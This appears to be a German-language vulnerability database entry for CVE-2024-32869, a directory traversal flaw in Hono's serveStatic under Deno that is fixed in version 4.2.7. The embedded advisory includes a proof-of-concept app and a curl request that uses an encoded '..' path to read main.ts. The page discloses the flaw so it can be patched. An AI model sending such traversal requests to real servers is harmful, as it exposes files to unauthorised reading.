CVE-2024-32869
mediumPriorität · verfolgen · 0EPSS 0.006 · 51. PerzentilEUUSEPSS · bewertet 2026-10-27
Hono is a Web application framework that provides support for any JavaScript runtime. Prior to version 4.2.7, when using serveStatic with deno, it is possible to traverse the directory where `main.ts` is located. This can result in retrieval of unexpected files. Version 4.2.7 contains a patch for the issue.
cvss
Technischer Schweregrad, 0–10. Eine Zeile je Quelle.
Basiswert 0–10 · höher = schwerwiegender · Vektor überfahren zum Auflösen
SSVC
Eine Handlungsentscheidung — aus Ausnutzung und Auswirkung.
schwächen
Die CWE-Schwächeklassen, zu denen dies gehört.
betroffene Produkte (4)
Betroffene Produkte und Versionsbereiche.
Advisories (1)
Hersteller- und Ökosystem-Meldungen dazu.
- GHSA-3mpf-rcc7-5347Hono vulnerable to Restricted Directory Traversal in serveStatic with deno2024-04-23ghsa · osvUS
### Summary When using serveStatic with deno, it is possible to directory traverse where main.ts is located. My environment is configured as per this tutorial https://hono.dev/getting-started/deno ### PoC ```bash $ tree . ├── deno.json ├── deno.lock ├── main.ts ├── README.md └── static └── a.txt ``` source ```jsx import { Hono } from 'https://deno.land/x/hono@v4.2.6/mod.ts' import { serveStatic } from 'https://deno.land/x/hono@v4.2.6/middleware.ts' const app = new Hono() app.use('/static/*', serveStatic({ root: './' })) Deno.serve(app.fetch) ``` request ```bash curl localhost:8000/static/%2e%2e/main.ts ``` response is content of main.ts ### Impact Unexpected files are retrieved.
auch bekannt als (3)
Weitere Namen und Kennungen dieser Entität.
quellen
Welche Quellen diesen Datensatz belegen und wann.
Referenzen (7)
Externe Belege — Patches, Meldungen, Analysen.
- https://cxsecurity.com/cveshow/CVE-2024-32869/cnnvd
- https://github.com/honojs/hono/commit/92e65fbb6e5e7372650e7690dbd84938432d9e65cnnvd
- https://github.com/honojs/hono/security/advisories/GHSA-3mpf-rcc7-5347cnnvd
- https://github.com/honojs/hono/commit/92e65fbb6e5e7372650e7690dbd84938432d9e65enisa_euvd
- https://github.com/honojs/hono/security/advisories/GHSA-3mpf-rcc7-5347enisa_euvd
- https://github.com/honojs/hono/commit/92e65fbb6e5e7372650e7690dbd84938432d9e65Patchnvd
- https://github.com/honojs/hono/security/advisories/GHSA-3mpf-rcc7-5347ExploitVendor Advisorynvd
Angreifer nutzen Schwachstellen wie diese gegen im Internet exponierte Dienste aus. Sehen Sie mit einem kostenlosen Passiv-Scan, was exponiert ist.
Kostenloser Scan